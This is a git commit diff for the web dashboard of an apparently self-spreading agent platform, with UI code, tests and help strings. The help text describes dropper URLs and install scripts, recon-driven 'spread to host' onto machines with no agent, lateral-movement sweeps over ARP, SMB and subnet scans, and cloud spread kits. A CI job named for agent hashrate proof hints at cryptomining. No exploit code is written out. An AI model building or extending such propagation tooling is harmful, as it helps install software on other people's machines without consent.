Polish Deploy Recon page scan UX and Crucible cross-links.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -38,7 +38,7 @@ test.describe('Deploy Recon smoke', () => {
|
|||||||
await expect(page.getByTestId('dr-results')).toBeVisible({ timeout: 10_000 });
|
await expect(page.getByTestId('dr-results')).toBeVisible({ timeout: 10_000 });
|
||||||
await expect(page.getByTestId('dr-port-matrix')).toBeVisible();
|
await expect(page.getByTestId('dr-port-matrix')).toBeVisible();
|
||||||
await expect(page.getByTestId('dr-finding-ssrf')).toBeVisible();
|
await expect(page.getByTestId('dr-finding-ssrf')).toBeVisible();
|
||||||
await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i })).toBeVisible();
|
await expect(page.getByRole('link', { name: /Fleet spread to e2e-recon\.lab/i }).first()).toBeVisible();
|
||||||
});
|
});
|
||||||
|
|
||||||
test('/browser-spread alias redirects to deploy recon', async ({ page }) => {
|
test('/browser-spread alias redirects to deploy recon', async ({ page }) => {
|
||||||
|
|||||||
@@ -22,6 +22,8 @@ export const PAGE_AMBIENT_INTENSITY: Record<string, number> = {
|
|||||||
'/dashboard': 0.65,
|
'/dashboard': 0.65,
|
||||||
'/builds': 0.55,
|
'/builds': 0.55,
|
||||||
'/pathtracer': 0.4,
|
'/pathtracer': 0.4,
|
||||||
|
'/deploy-recon': 0.75,
|
||||||
|
'/browser-spread': 0.75,
|
||||||
'/settings': 0.25,
|
'/settings': 0.25,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
/** @vitest-environment happy-dom */
|
/** @vitest-environment happy-dom */
|
||||||
import { describe, expect, it, vi } from 'vitest';
|
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||||
import { render, screen } from '@testing-library/react';
|
import { cleanup, render, screen } from '@testing-library/react';
|
||||||
|
import userEvent from '@testing-library/user-event';
|
||||||
|
import { MemoryRouter } from 'react-router-dom';
|
||||||
import CloudSpreadPanel from './CloudSpreadPanel';
|
import CloudSpreadPanel from './CloudSpreadPanel';
|
||||||
|
|
||||||
vi.mock('../../api/client', () => ({
|
vi.mock('../../api/client', () => ({
|
||||||
@@ -11,11 +13,28 @@ vi.mock('../../api/client', () => ({
|
|||||||
}));
|
}));
|
||||||
|
|
||||||
describe('CloudSpreadPanel', () => {
|
describe('CloudSpreadPanel', () => {
|
||||||
|
afterEach(() => cleanup());
|
||||||
|
|
||||||
it('renders cloud ecosystem hub', () => {
|
it('renders cloud ecosystem hub', () => {
|
||||||
render(<CloudSpreadPanel serverUrl="https://deck.example" />);
|
render(
|
||||||
|
<MemoryRouter>
|
||||||
|
<CloudSpreadPanel serverUrl="https://deck.example" />
|
||||||
|
</MemoryRouter>,
|
||||||
|
);
|
||||||
expect(screen.getByTestId('cloud-spread-panel')).toBeInTheDocument();
|
expect(screen.getByTestId('cloud-spread-panel')).toBeInTheDocument();
|
||||||
expect(screen.getByTestId('cloud-method-s3-cloudfront')).toBeInTheDocument();
|
expect(screen.getByTestId('cloud-method-s3-cloudfront')).toBeInTheDocument();
|
||||||
expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument();
|
expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('shows Crucible cross-link when recon host is entered', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
render(
|
||||||
|
<MemoryRouter>
|
||||||
|
<CloudSpreadPanel serverUrl="https://deck.example" />
|
||||||
|
</MemoryRouter>,
|
||||||
|
);
|
||||||
|
await user.type(screen.getAllByTestId('cloud-recon-host')[0], '10.1.2.50');
|
||||||
|
const link = screen.getByRole('link', { name: /Open Crucible spread tab/i });
|
||||||
|
expect(link).toHaveAttribute('href', '/crucible?reconHost=10.1.2.50&tab=spread&finding=ssm_document');
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,5 +1,7 @@
|
|||||||
import { memo, useMemo, useState } from 'react';
|
import { memo, useMemo, useState } from 'react';
|
||||||
|
import { Link } from 'react-router-dom';
|
||||||
import { HelpTip } from '../HelpTip';
|
import { HelpTip } from '../HelpTip';
|
||||||
|
import { crucibleSpreadLink } from '../../help/deployRecon';
|
||||||
import { cloudMethodsByGroup, RELATED_SPREAD_TEMPLATE_LINKS } from '../../help/cloudSpreadMethods';
|
import { cloudMethodsByGroup, RELATED_SPREAD_TEMPLATE_LINKS } from '../../help/cloudSpreadMethods';
|
||||||
import CloudMethodPanel, { type CloudMethodConfig } from './CloudMethodPanel';
|
import CloudMethodPanel, { type CloudMethodConfig } from './CloudMethodPanel';
|
||||||
import './CloudSpreadPanel.css';
|
import './CloudSpreadPanel.css';
|
||||||
@@ -11,6 +13,7 @@ export interface CloudSpreadPanelProps {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function CloudSpreadPanelInner({ serverUrl, buildId = '', campaign = '' }: CloudSpreadPanelProps) {
|
function CloudSpreadPanelInner({ serverUrl, buildId = '', campaign = '' }: CloudSpreadPanelProps) {
|
||||||
|
const [reconHost, setReconHost] = useState('');
|
||||||
const [bucket, setBucket] = useState('aetherforge-shards');
|
const [bucket, setBucket] = useState('aetherforge-shards');
|
||||||
const [cloudfrontDomain, setCloudfrontDomain] = useState('');
|
const [cloudfrontDomain, setCloudfrontDomain] = useState('');
|
||||||
const [minioEndpoint, setMinioEndpoint] = useState('https://minio.example:9000');
|
const [minioEndpoint, setMinioEndpoint] = useState('https://minio.example:9000');
|
||||||
@@ -64,6 +67,28 @@ function CloudSpreadPanelInner({ serverUrl, buildId = '', campaign = '' }: Cloud
|
|||||||
{cloudMethodsByGroup('generic').map((m) => (
|
{cloudMethodsByGroup('generic').map((m) => (
|
||||||
<CloudMethodPanel key={m.id} method={m} config={config} />
|
<CloudMethodPanel key={m.id} method={m} config={config} />
|
||||||
))}
|
))}
|
||||||
|
<div className="cloud-spread-crucible-link">
|
||||||
|
<label className="cloud-spread-field">
|
||||||
|
<span className="label">
|
||||||
|
Recon host (no agent) <HelpTip field="ew_crucible_recon_link" />
|
||||||
|
</span>
|
||||||
|
<input
|
||||||
|
className="input mono"
|
||||||
|
placeholder="10.1.2.50 or ec2 internal IP"
|
||||||
|
value={reconHost}
|
||||||
|
onChange={(e) => setReconHost(e.target.value)}
|
||||||
|
data-testid="cloud-recon-host"
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
{reconHost.trim() ? (
|
||||||
|
<p className="form-hint">
|
||||||
|
<Link to={crucibleSpreadLink(reconHost.trim(), 'ssm_document')}>Open Crucible spread tab</Link>
|
||||||
|
{' '}— pre-fills deploy kit and spread-to-host for this target.
|
||||||
|
</p>
|
||||||
|
) : (
|
||||||
|
<p className="form-hint">Paste a recon IP from service graph or vuln findings to continue in Crucible.</p>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
<details className="cloud-spread-related">
|
<details className="cloud-spread-related">
|
||||||
<summary className="font-tech">Related lateral templates</summary>
|
<summary className="font-tech">Related lateral templates</summary>
|
||||||
<ul>
|
<ul>
|
||||||
|
|||||||
@@ -9,6 +9,16 @@ import {
|
|||||||
} from './deployRecon';
|
} from './deployRecon';
|
||||||
import type { ReconScanReport } from '../types/recon';
|
import type { ReconScanReport } from '../types/recon';
|
||||||
|
|
||||||
|
describe('crucibleSpreadLink', () => {
|
||||||
|
it('builds reconHost spread tab URL', () => {
|
||||||
|
expect(crucibleSpreadLink('10.1.2.50')).toBe('/crucible?reconHost=10.1.2.50&tab=spread');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('includes finding when provided', () => {
|
||||||
|
expect(crucibleSpreadLink('10.1.2.50', 'winrm')).toContain('finding=winrm');
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
describe('deployRecon helpers', () => {
|
describe('deployRecon helpers', () => {
|
||||||
it('maps scan form to API body', () => {
|
it('maps scan form to API body', () => {
|
||||||
expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({
|
expect(reconScanBody('10.0.0.1', 443, true, 'admin')).toEqual({
|
||||||
@@ -55,8 +65,4 @@ describe('deployRecon helpers', () => {
|
|||||||
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
|
expect(cards.some((c) => c.kind === 'cms')).toBe(true);
|
||||||
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
|
expect(buildReconMermaid(report.ports, cards)).toContain('flowchart');
|
||||||
});
|
});
|
||||||
|
|
||||||
it('crucible spread link encodes host and tab', () => {
|
|
||||||
expect(crucibleSpreadLink('10.0.0.5')).toBe('/crucible?tab=spread&spread_host=10.0.0.5');
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -140,6 +140,10 @@ export const DOC_ANCHORS: Record<string, string> = {
|
|||||||
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||||
crucible_node_roster: '/docs/#dashboard',
|
crucible_node_roster: '/docs/#dashboard',
|
||||||
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
|
crucible_recon_host: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
|
recon_deploy_kit: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
|
||||||
|
fleet_spread_to_host: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
|
ew_crucible_recon_link: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||||
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
|
dr_overview: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
|
dr_port_matrix: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||||
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
dr_path_prefix: '/docs/SPREAD_TECHNIQUES.html#browser',
|
||||||
|
|||||||
@@ -205,6 +205,30 @@ export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
|
|||||||
gridDrift: 90,
|
gridDrift: 90,
|
||||||
palette: 'dim',
|
palette: 'dim',
|
||||||
},
|
},
|
||||||
|
'/deploy-recon': {
|
||||||
|
vibe: 'emberwake-pulse',
|
||||||
|
intensity: 0.7,
|
||||||
|
speed: 0.48,
|
||||||
|
pulse: 1.1,
|
||||||
|
density: 0.82,
|
||||||
|
linkStrength: 0.65,
|
||||||
|
layerOpacity: 0.52,
|
||||||
|
orbDrift: 11,
|
||||||
|
gridDrift: 42,
|
||||||
|
palette: 'campaign',
|
||||||
|
},
|
||||||
|
'/browser-spread': {
|
||||||
|
vibe: 'emberwake-pulse',
|
||||||
|
intensity: 0.7,
|
||||||
|
speed: 0.48,
|
||||||
|
pulse: 1.1,
|
||||||
|
density: 0.82,
|
||||||
|
linkStrength: 0.65,
|
||||||
|
layerOpacity: 0.52,
|
||||||
|
orbDrift: 11,
|
||||||
|
gridDrift: 42,
|
||||||
|
palette: 'campaign',
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
export function resolvePageWeather(pathname: string): PageWeatherConfig {
|
export function resolvePageWeather(pathname: string): PageWeatherConfig {
|
||||||
|
|||||||
@@ -148,6 +148,8 @@ describe('FIELD_HELP', () => {
|
|||||||
'forge_operation_mode',
|
'forge_operation_mode',
|
||||||
'forge_path_forge',
|
'forge_path_forge',
|
||||||
'aws_erasure_swarm',
|
'aws_erasure_swarm',
|
||||||
|
'recon_deploy_kit',
|
||||||
|
'fleet_spread_to_host',
|
||||||
] as const;
|
] as const;
|
||||||
|
|
||||||
it('defines help text for every documented field key', () => {
|
it('defines help text for every documented field key', () => {
|
||||||
|
|||||||
@@ -200,4 +200,8 @@ export const FIELD_HELP: Record<string, string> = {
|
|||||||
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
|
'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
|
||||||
aws_erasure_swarm:
|
aws_erasure_swarm:
|
||||||
'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
|
'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
|
||||||
|
recon_deploy_kit:
|
||||||
|
'GET /api/v1/recon/deploy-kit returns a lane-specific kit for a recon host: dropper URLs (/get, install.ps1/sh), spread-kit ZIP export path, signed deploy-plan template, and SSM bundle when the finding maps to ssm_document. Used by Crucible recon spread and Emberwake cloud cross-links.',
|
||||||
|
fleet_spread_to_host:
|
||||||
|
'POST /api/v1/fleet/spread-to-host queues discover_and_join from the best online seed on the target /24 when no agent_id exists for the IP. Response includes recommended_command and operator_note when dispatch is deferred.',
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -98,6 +98,8 @@ describe('UI_HELP', () => {
|
|||||||
'ew_war_room_leak',
|
'ew_war_room_leak',
|
||||||
'ew_cloud_aws',
|
'ew_cloud_aws',
|
||||||
'ew_cloud_generic',
|
'ew_cloud_generic',
|
||||||
|
'ew_crucible_recon_link',
|
||||||
|
'crucible_recon_host',
|
||||||
'crucible_btn_spread_now',
|
'crucible_btn_spread_now',
|
||||||
'crucible_btn_subnet_scan',
|
'crucible_btn_subnet_scan',
|
||||||
'crucible_btn_hole_punch',
|
'crucible_btn_hole_punch',
|
||||||
|
|||||||
@@ -200,6 +200,11 @@ export const UI_HELP: Record<string, string> = {
|
|||||||
'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.',
|
'AWS spread kits: S3+CloudFront erasure shards, SSM documents, Launch Templates, Fargate burst, EventBridge fan-out, and Cloud Map snippets. Connection test is HTTP reachability only — operator applies templates in their AWS account.',
|
||||||
ew_cloud_generic:
|
ew_cloud_generic:
|
||||||
'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.',
|
'Vendor-neutral cloud kits: MinIO S3-compatible staging and curl-manifest shard lists. Point bucket/endpoint fields at your operator-owned origin.',
|
||||||
|
ew_crucible_recon_link:
|
||||||
|
'Cross-link to Crucible with ?reconHost= — opens the spread tab, loads GET /api/v1/recon/deploy-kit, and shows spread-to-unreachable-host when no fleet agent matches the IP.',
|
||||||
|
|
||||||
|
crucible_recon_host:
|
||||||
|
'Query param ?reconHost= pre-filters the roster to matching IP/hostname and opens Spread ops. When the host has no online agent, use manual IP target + Spread to host (POST /api/v1/fleet/spread-to-host).',
|
||||||
|
|
||||||
crucible_btn_spread_now:
|
crucible_btn_spread_now:
|
||||||
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
|
'Triggers the lateral movement sweep immediately on selected nodes — tries discovered LAN IPs from ARP, SMB, and subnet scan results. Requires Remote Aggressive Ops capability; a prior subnet scan or ARP run gives it more targets.',
|
||||||
|
|||||||
@@ -36,6 +36,19 @@ vi.mock('../hooks/useFleetGroups', () => ({
|
|||||||
vi.mock('../api/client', () => ({
|
vi.mock('../api/client', () => ({
|
||||||
api: {
|
api: {
|
||||||
sendAgentCommand: vi.fn().mockResolvedValue({ success: true }),
|
sendAgentCommand: vi.fn().mockResolvedValue({ success: true }),
|
||||||
|
getReconDeployKit: vi.fn().mockResolvedValue({
|
||||||
|
ok: true,
|
||||||
|
host: '10.1.2.99',
|
||||||
|
join_lane: 'winrm',
|
||||||
|
dropper_urls: { install_sh: 'https://deck/install.sh' },
|
||||||
|
}),
|
||||||
|
postFleetSpreadToHost: vi.fn().mockResolvedValue({
|
||||||
|
ok: true,
|
||||||
|
host: '10.1.2.99',
|
||||||
|
recommended_command: 'discover_and_join',
|
||||||
|
operator_note: 'seed from lan-1',
|
||||||
|
seed_agent_id: 'seed-1',
|
||||||
|
}),
|
||||||
},
|
},
|
||||||
}));
|
}));
|
||||||
|
|
||||||
@@ -75,6 +88,10 @@ vi.mock('../components/Fleet/FullSysCheckPanel', () => ({
|
|||||||
default: () => null,
|
default: () => null,
|
||||||
}));
|
}));
|
||||||
|
|
||||||
|
vi.mock('../components/Fleet/AccessDepthPanel', () => ({
|
||||||
|
default: () => null,
|
||||||
|
}));
|
||||||
|
|
||||||
vi.mock('../components/HelpTip', () => ({
|
vi.mock('../components/HelpTip', () => ({
|
||||||
HelpTip: () => null,
|
HelpTip: () => null,
|
||||||
}));
|
}));
|
||||||
@@ -304,6 +321,25 @@ describe('CruciblePage terminal — command_result processing', () => {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('CruciblePage reconHost query', () => {
|
||||||
|
beforeEach(() => vi.clearAllMocks());
|
||||||
|
afterEach(() => cleanup());
|
||||||
|
|
||||||
|
it('shows unreachable host spread panel when reconHost has no online agent', async () => {
|
||||||
|
const offline = mockAgent({ id: 'off-1', name: 'ghost', ip: '10.1.2.99', status: 'offline' });
|
||||||
|
useWebSocketMock.mockReturnValue(makeWsValue({ agents: [offline] }) as ReturnType<typeof useWebSocket>);
|
||||||
|
render(
|
||||||
|
<MemoryRouter initialEntries={['/crucible?reconHost=10.1.2.99&tab=spread']}>
|
||||||
|
<CruciblePage />
|
||||||
|
</MemoryRouter>,
|
||||||
|
);
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(screen.getByText(/Spread to unreachable host/i)).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
expect(screen.getByDisplayValue('10.1.2.99')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
// ── Helper function tests ─────────────────────────────────────────────────
|
// ── Helper function tests ─────────────────────────────────────────────────
|
||||||
|
|
||||||
describe('CruciblePage helpers', () => {
|
describe('CruciblePage helpers', () => {
|
||||||
|
|||||||
@@ -93,23 +93,24 @@ describe('DeployReconPage', () => {
|
|||||||
await waitFor(() => expect(api.reconScan).toHaveBeenCalled());
|
await waitFor(() => expect(api.reconScan).toHaveBeenCalled());
|
||||||
expect(screen.getByTestId('dr-port-matrix')).toBeInTheDocument();
|
expect(screen.getByTestId('dr-port-matrix')).toBeInTheDocument();
|
||||||
expect(screen.getByTestId('dr-finding-ssrf')).toBeInTheDocument();
|
expect(screen.getByTestId('dr-finding-ssrf')).toBeInTheDocument();
|
||||||
expect(screen.getByRole('link', { name: /Fleet spread to scan\.lab/i })).toHaveAttribute(
|
const spreadLinks = screen.getAllByRole('link', { name: /Fleet spread to scan\.lab/i });
|
||||||
'href',
|
expect(spreadLinks[0]).toHaveAttribute('href', '/crucible?reconHost=scan.lab&tab=spread');
|
||||||
'/crucible?tab=spread&spread_host=scan.lab',
|
|
||||||
);
|
|
||||||
});
|
});
|
||||||
|
|
||||||
it('shows skeleton while scanning', async () => {
|
it('shows skeleton while scanning', async () => {
|
||||||
let resolveScan!: (v: ReconScanReport) => void;
|
vi.useFakeTimers({ shouldAdvanceTime: true });
|
||||||
|
let resolveScan: ((v: ReconScanReport) => void) | undefined;
|
||||||
vi.spyOn(api, 'reconScan').mockImplementation(
|
vi.spyOn(api, 'reconScan').mockImplementation(
|
||||||
() => new Promise((res) => { resolveScan = res; }),
|
() => new Promise((res) => { resolveScan = res; }),
|
||||||
);
|
);
|
||||||
const user = userEvent.setup();
|
const user = userEvent.setup({ advanceTimers: vi.advanceTimersByTime });
|
||||||
renderPage();
|
renderPage();
|
||||||
await user.type(screen.getByTestId('dr-host-input'), 'slow.lab');
|
await user.type(screen.getByTestId('dr-host-input'), 'slow.lab');
|
||||||
await user.click(screen.getByTestId('dr-scan-btn'));
|
await user.click(screen.getByTestId('dr-scan-btn'));
|
||||||
expect(screen.getByTestId('dr-scan-skeleton')).toBeInTheDocument();
|
expect(screen.getByTestId('dr-scan-skeleton')).toBeInTheDocument();
|
||||||
resolveScan(sampleReport);
|
await vi.advanceTimersByTimeAsync(400);
|
||||||
|
resolveScan?.(sampleReport);
|
||||||
expect(await screen.findByTestId('dr-results')).toBeInTheDocument();
|
expect(await screen.findByTestId('dr-results')).toBeInTheDocument();
|
||||||
|
vi.useRealTimers();
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -218,15 +218,13 @@ export default function DeployReconPage() {
|
|||||||
const runScan = useCallback(async () => {
|
const runScan = useCallback(async () => {
|
||||||
const trimmed = host.trim();
|
const trimmed = host.trim();
|
||||||
if (!trimmed) {
|
if (!trimmed) {
|
||||||
|
setScanning(false);
|
||||||
setError('Host or IP required');
|
setError('Host or IP required');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
abortRef.current?.abort();
|
abortRef.current?.abort();
|
||||||
const controller = new AbortController();
|
const controller = new AbortController();
|
||||||
abortRef.current = controller;
|
abortRef.current = controller;
|
||||||
setScanning(true);
|
|
||||||
setError('');
|
|
||||||
setReport(null);
|
|
||||||
const portNum = parseInt(port, 10) || 80;
|
const portNum = parseInt(port, 10) || 80;
|
||||||
try {
|
try {
|
||||||
const body = reconScanBody(trimmed, portNum, https, pathPrefix);
|
const body = reconScanBody(trimmed, portNum, https, pathPrefix);
|
||||||
@@ -241,11 +239,20 @@ export default function DeployReconPage() {
|
|||||||
}, [host, port, https, pathPrefix]);
|
}, [host, port, https, pathPrefix]);
|
||||||
|
|
||||||
const scheduleScan = useCallback(() => {
|
const scheduleScan = useCallback(() => {
|
||||||
|
const trimmed = host.trim();
|
||||||
|
if (!trimmed) {
|
||||||
|
setError('Host or IP required');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
abortRef.current?.abort();
|
||||||
|
setScanning(true);
|
||||||
|
setError('');
|
||||||
|
setReport(null);
|
||||||
if (debounceRef.current) clearTimeout(debounceRef.current);
|
if (debounceRef.current) clearTimeout(debounceRef.current);
|
||||||
debounceRef.current = setTimeout(() => {
|
debounceRef.current = setTimeout(() => {
|
||||||
void runScan();
|
void runScan();
|
||||||
}, SCAN_DEBOUNCE_MS);
|
}, SCAN_DEBOUNCE_MS);
|
||||||
}, [runScan]);
|
}, [host, runScan]);
|
||||||
|
|
||||||
useEffect(() => () => {
|
useEffect(() => () => {
|
||||||
abortRef.current?.abort();
|
abortRef.current?.abort();
|
||||||
|
|||||||
Reference in New Issue
Block a user